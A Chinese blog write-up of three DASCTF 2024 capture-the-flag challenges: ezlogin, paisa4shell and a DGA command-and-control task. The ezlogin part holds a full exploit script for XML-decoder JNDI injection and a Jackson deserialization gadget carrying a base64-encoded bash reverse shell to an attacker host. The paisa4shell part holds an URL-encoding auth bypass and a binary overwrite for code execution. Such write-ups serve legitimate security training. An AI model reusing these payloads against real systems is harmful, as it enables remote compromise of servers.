DASCTF 2024 十月赛

Fc04dB Lv4

# DASCTF 2024 十月赛

# ezlogin

EditController.edit 中 /editPass 路由接受用户输入的 newPass

image-20241023214303544

UserUtil.changePassword 方法用到了 newPass 参数:

image-20241023214319069

并且是 replace 进行修改

/del 接口

image-20241023214328692

delUser:

image-20241023214343944

没有重置 session,而 editPassword 的 oldPass 又是从 session 中拿的

可以通过 replace 是将 payload 注入到 newPass,用于 xml 反序列化

有长度限制,ban 了 java. 和 springframework.,不能直接 RCE

注意到 Spring 版本存在 Jackson 链子,直接打 JNDI 注入

先看一下他 xml 结构

1
2
3
4
5
6
7
8
9
10
<java>
<object class=\"org.example.auth.User\">
<void property=\"username\">
<string>{0}</string>
</void>
<void property=\"password\">
<string>{1}</string>
</void>
</object>
</java>

JNDI 注入触发 gadget:

1
2
3
4
5
6
7
<java>
<object class="javax.naming.InitialContext">
<void method="lookup">
<string>rmi://ip:port/a</string>
</void>
</object>
</java>

长度限制可以用递归绕,即:

1
2
3
4
5
6
7
8
9
10
11
12
13
payload1 = "--><java><object class=\"javax.naming.InitialContext\"><void method=\"lookup\"><string>rmi://"+rmiserver+"/a</string></void></object></java><!--"
list1 = []
for i in range(0,len(payload1),5) :
if len(payload1) - i >= 5:
list1.append(payload1[i:i+5:]+"_____")
else:
list1.append(payload1[i:len(payload1)])
break
print(list1)
if len(list1[-1]) < 3:
list1[-1]=list1[-2][-8:-5:]+list1[-1]
list1[-2]=list1[-2][0:2]+list1[-2][-5:-1:]
print(list1)

每五个字符一段并替换 “______” 为下一段 payload 即可

同时利用该方法修改注释掉的 xml 部分,每个 "<",">" 之间都修改为最短的三字符,即可缩短 xml 文件至最小长度。

官方给的预期最短 payload:

1
2
3
4
5
6
7
8
9
10
<!-->
111<111>
111<111>
111<111>D<111>
111<111>
111<111>
111<111>--><java><object class="javax.naming.InitialContext"><void method="lookup"><string>rmi://172.22.192.119:8888/a</string></void></object></java><!--<111>
111<111>
111<111>
</!-->

修改 ysoserial 的 ysoserial.exploit.JRMPListener 来发送序列化数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
public static void serialize(Object obj) throws Exception {
ObjectOutputStream objo = new ObjectOutputStream(new FileOutputStream("ser.txt"));
objo.writeObject(obj);
}

public static void unserialize() throws Exception{
ObjectInputStream obji = new ObjectInputStream(new FileInputStream("ser.txt"));
obji.readObject();

}

public static byte[][] generateEvilBytes() throws Exception{
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = cp.makeClass("evil");
String cmd = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL2lwLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}\");";
// 修改为自己的ip port
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
byte[][] evilbyte = new byte[][]{cc.toBytecode()};

return evilbyte;

}

public static <T> void setValue(Object obj,String fname,T f) throws Exception{
Field filed = TemplatesImpl.class.getDeclaredField(fname);
filed.setAccessible(true);
filed.set(obj,f);
}
// 删除writeReplace
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod wt = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(wt);
ctClass0.toClass();

//构造恶意TemplatesImpl
TemplatesImpl tmp = new TemplatesImpl();
setValue(tmp,"_tfactory",new TransformerFactoryImpl());
setValue(tmp,"_name","123");
setValue(tmp,"_bytecodes",generateEvilBytes());

// //不稳定的触发
// ObjectMapper objmapper = new ObjectMapper();
// ArrayNode arrayNode =objmapper.createArrayNode();
// arrayNode.addPOJO(tmp);
//
//
// BadAttributeValueExpException ex = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
// Field f = BadAttributeValueExpException.class.getDeclaredField("val");
// f.setAccessible(true);
// f.set(ex,arrayNode);
//
// serialize(ex);
// System.out.println(getb64(ex));
// System.out.println(getb64(ex).length());
// unserialize();

//稳定触发

AdvisedSupport support = new AdvisedSupport();
support.setTarget(tmp);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);
Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(),new Class[]{Templates.class},handler);

ObjectMapper objmapper = new ObjectMapper();
ArrayNode arrayNode =objmapper.createArrayNode();
arrayNode.addPOJO(proxy);

BadAttributeValueExpException ex = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
Field f = BadAttributeValueExpException.class.getDeclaredField("val");
f.setAccessible(true);
f.set(ex,arrayNode);


oos.writeObject(ex);

oos.flush();
out.flush();

并在 vps 上运行

1
2
3
mvn clean package --DskipTests
cd target/
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 a a

启动 JRMPListener 后运行 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
import requests
import sys

targeturl = "http://"+sys.argv[1] //靶机地址

rmiserver = sys.argv[2] //rmi服务器地址

sessions = {}

def register(passwd):
data={"password":passwd,"username":"F"}
res = requests.post(targeturl+"/register",data=data)
if "success" in res.text.lower():
print(f"register {passwd} success")
else : print(f"register fail: {res.text}");exit(114514)

def getsession(passwd):
data={"password":passwd,"username":"F"}
res = requests.post(targeturl+"/login",data=data)
if "redirect" in res.text.lower() :
session=res.headers.get("Set-Cookie").split(";")[0].split("=")[1]
print(f"session for {passwd} : {session}")
headers = {"Cookie" : f"JSESSIONID={session}"}
sessions[passwd] = headers
else:
print(f"login fail : {res.text}");exit(114514)

def editpass(oldpass,newpass):
data={"newPass":newpass}
headers = sessions[oldpass]
res = requests.post(targeturl+"/editPass",data=data,headers=headers)
if "success" in res.text.lower():
print(f"change {oldpass} to {newpass} success")
else:
print(f"edit fail : {res.text}");exit(114514)

def deluser(passwd):
res = requests.get(targeturl+"/del",headers=sessions[passwd])
if "success" in res.text.lower():
print(f"delete {passwd} success")

def addsession(passwd):
register(passwd)
getsession(passwd)
deluser(passwd)

payload1 = "--><java><object class=\"javax.naming.InitialContext\"><void method=\"lookup\"><string>rmi://"+rmiserver+"/a</string></void></object></java><!--"
list1 = []
for i in range(0,len(payload1),5) :
if len(payload1) - i >= 5:
list1.append(payload1[i:i+5:]+"_____")
else:
list1.append(payload1[i:len(payload1)])
break
print(list1)
if len(list1[-1]) < 3:
list1[-1]=list1[-2][-8:-5:]+list1[-1]
list1[-2]=list1[-2][0:2]+list1[-2][-5:-1:]
print(list1)


list2=[]
payload2="11111 class=\"org.example.auth.User\""
for i in range(0,len(payload2),10) :
if len(payload2) - i >= 10:
list2.append(payload2[i:i+10:])
else:
list2.append(payload2[i:len(payload2)])
break
print(list2)
for s in list2:
addsession(s)

list3=[]
payload3="void property=\"username\""
for i in range(0,len(payload3),10) :
if len(payload3) - i >= 10:
list3.append(payload3[i:i+10:])
else:
list3.append(payload3[i:len(payload3)])
break
print(list3)


list4=[]
payload4="void property=\"password\""
for i in range(0,len(payload4),10) :
if len(payload4) - i >= 10:
list4.append(payload4[i:i+10:])
else:
list4.append(payload4[i:len(payload4)])
break
print(list4)



addsession("_____")

addsession("____")

for s in list3:
addsession(s)

for s in list4:
addsession(s)

addsession("string")

addsession("object")

addsession("/void")

addsession(" ")

addsession("1111111111")

addsession("/11111")

addsession("java")

addsession("11111")

register("haha")
getsession("haha")
editpass("java","!--")

editpass("string","11111")
editpass("object","11111")

editpass("/11111","11111")
editpass(" ","11111")

editpass("/void","111")

for s in list2:
editpass(s,"11111")

for s in list3:
editpass(s,"11111")

for s in list4:
editpass(s,"11111")

editpass("1111111111","11111")
editpass("1111111111","11111")

editpass("haha",list1[0])

editpass("11111","111")

# Now it's the shortest (237)

for payload in list1[1::]:
editpass("_____",payload)

editpass("____","<!--")

requests.post(targeturl+"/login",data={"username":"F","password":"1"})

vps 反弹 shell

# paisa4shell

关于鉴权的绕过

img

这里用了 c.Request.RequestURI 来确定路由,但是 c.Request.RequestURI 是原始的请求 URI,gin 框架的路由选择是根据 c.Request.URL.Path 来确定的

c.Request.URL.Path

  • 定义:这是请求的路径部分,不包括查询参数和其他附加信息。
  • 用途:用于路由匹配,即 Gin 根据这个路径来决定哪个处理函数(路由)来处理这个请求。
  • 示例:对于请求 GET /users?id=123c.Request.URL.Path 的值是 /users

c.Request.RequestURI

  • 定义:这是请求的完整 URI,包括路径和查询字符串。
  • 用途用于获取完整的请求信息,适合在日志记录或调试时使用。
  • 示例:对于同样的请求 GET /users?id=123c.Request.RequestURI 的值是 /users?id=123

使用 URL 编码绕过:

1
2
3
GET /%61pi/config HTTP/1.1
Host: 127.0.0.1:7500
Connection: close

image-20241023231559124

利用 /api/sheets/save 的任意文件上传漏洞覆盖 /usr/bin/ledger 文件

image-20241023232012874

最后使用 /api/editor/validate 触发执行命令

# DGA C2

DGA 这个技术,是用来生成大量域名的算法,而黑客 ** 只需要在这些大量的域名中注册一个,即可与对应的被控机取得联系,** 当这域名被封锁或取缔后,黑客只需要重新再注册一个新的域名,即可把被控机重定向到一个新的 IP 上.

由于使用公共 dns 服务器,防火墙不可能封锁公共 dns, 所以这种技术被用来做 c2 远控

那么首先要分析一下这种技术

首先,DGA 不可能生成完全随机的域名,这种技术要求有一个事先约定好的算法,被控机根据算法推算域名并查询,而黑客则在域名列表中随机选择一个并注册,所以这个得是有限域,如果全随机,那么被控机很有可能无法生成出黑客想要的域名

那么有两种办法,

  1. 基于硬编码的或者现场下载的单词本,被控机根据单词本来组合并生成域名
  2. 伪随机,根据事先约定好的种子来生成

本题就是使用了伪随机生成器来生成域名

对 pcapng 分析:

题设说明了 DGA 技术,pcapng 中除了大量 dns 查询外还有一个时间查询 api 和 musl 的相关域名

这里实际上是给出了提示:

  • 种子与时间有关
  • 表明使用的 musl 实现的伪随机生成器
  • 查询的域名数为 512, 提示了有限域而不是随机生成

再结合题目中 "每个月都有不一样的结果", 来看,种子和月份数有很大关联

接着再来分析 dns 请求的内容:

所有 dns 请求的域名都是 xxxxxxxxxx.top. 将前面 "xxxxxxxxxx" 提取出来进行分析,可以发现字符集为 a-z,0-9, 共 36 个字符

分析 musl 的伪随机数算法

musl rand () 生成出的数都很大,要与字符集中的字符对应,那么大概是取余并取索引.

使用 c 编写一个简单的 demo:

1
2
3
4
5
6
7
8
9
#include <stdlib.h>
#include <stdio.h>

int main() {
srand(9);
int result = rand() % 36;
printf("%d\n", result);
return 0;
}

使用 musl-gcc 编译并运行后得到结果为 5, 也就是字符集中的第 6 个字符

现在需要猜测字符集的组成,最常见的就是:

1
abcdefghijklmnopqrstuvwxyz0123456789

取其中第 6 个,刚好得到 "f", 与流量中查询的第一个域名 "f0lzccun48.top" 对应

完善 DGA 算法

现在根据以上信息可以获得 DGA 算法的全貌了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>

int main()
{
srand(9);
char charsets[] = "abcdefghijklmnopqrstuvwxyz0123456789";
char domain[15] = "xxxxxxxxxx.xyz";
printf("[");
for (int q = 0; q < 512; q++) {
for (int i = 0; i < 10; i++) {
domain[i] = charsets[rand() % 36];
}
printf("\"%s\",", domain);
}
printf("]");
return 0;
}

这样就可以得到和流量包中完全一样的域名了,把 srand (9) 换成 srand (10), 就得到了下个月的域名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket
import requests
from time import sleep

domains = ["......."]

def get_ipaddr(domain):
try:
ip_addr = socket.gethostbyname(domain)
print(f"{domain}解析成功: {ip_addr}")
return domain
except Exception as e:
print(f"{domain}解析失败: {e}")
return None

results = []

import concurrent.futures
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
futures = {executor.submit(get_ipaddr, domain): domain for domain in domains}

for future in concurrent.futures.as_completed(futures):
result = future.result()
if result:
results.append(result)

print(f"找到域名: {results}")

再遍历所有域名,会发现其中只有一个有解析,访问过去,在 html 中即可找到 flag

  • Title: DASCTF 2024 十月赛
  • Author: Fc04dB
  • Created at : 2024-10-23 21:32:05
  • Updated at : 2024-10-23 23:33:03
  • Link: https://redefine.ohevan.com/2024/10/23/DASCTF-2024-十月赛/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
DASCTF 2024 十月赛